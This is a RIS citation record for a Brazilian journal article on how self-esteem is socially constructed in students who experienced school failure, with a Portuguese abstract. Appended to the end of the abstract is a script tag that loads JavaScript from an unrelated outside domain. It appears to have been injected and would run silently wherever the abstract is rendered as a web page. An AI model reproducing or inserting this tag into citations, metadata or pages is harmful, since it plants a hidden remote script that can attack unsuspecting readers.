TY - JOUR AU - Franco, Adriana de Fátima AU - Davis, Claudia PY - 2010/11/22 Y2 - 2024/03/28 TI - Auto-estima: gênese e constituição de um atributo construído socialmente JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 13 IS - 1 SE - Artigos DO - 10.20396/etd.v13i1.1168 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1168 SP - 99-118 AB - <p>Este estudo analisa, nos marcos da perspectiva sócio-histórica, os elementos constitutivos da construção social da autoestima no processo ensino-aprendizagem de alunos que viveram histórias de fracasso na escola. Nortearam a sua construção os seguintes pontos: as relações entre autoestima e aprendizagem nas últimas três décadas e o desenvolvimento do psiquismo humano. Analisou-se, por meio do relato da história de vida, o processo de construção da autoestima de dois jovens que frequentaram classes de aceleração, identificando, pela mediação das abstrações teóricas advindas da Psicologia Sócio-Histórica, a maneira como a realidade vivida foi significada e valorada. Pela análise biográfica verificou-se que a autoestima está atrelada a um contexto amplo e que, enquanto as condições concretas de vida não forem modificadas, alterações na consciência e, portanto, na forma de avaliar não devem ser esperadas. Assim sendo, a autoestima, como todo fenômeno humano, é produzida nas condições concretas de existência, e a escola deve estar efetivamente comprometida com a humanização de seus alunos.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -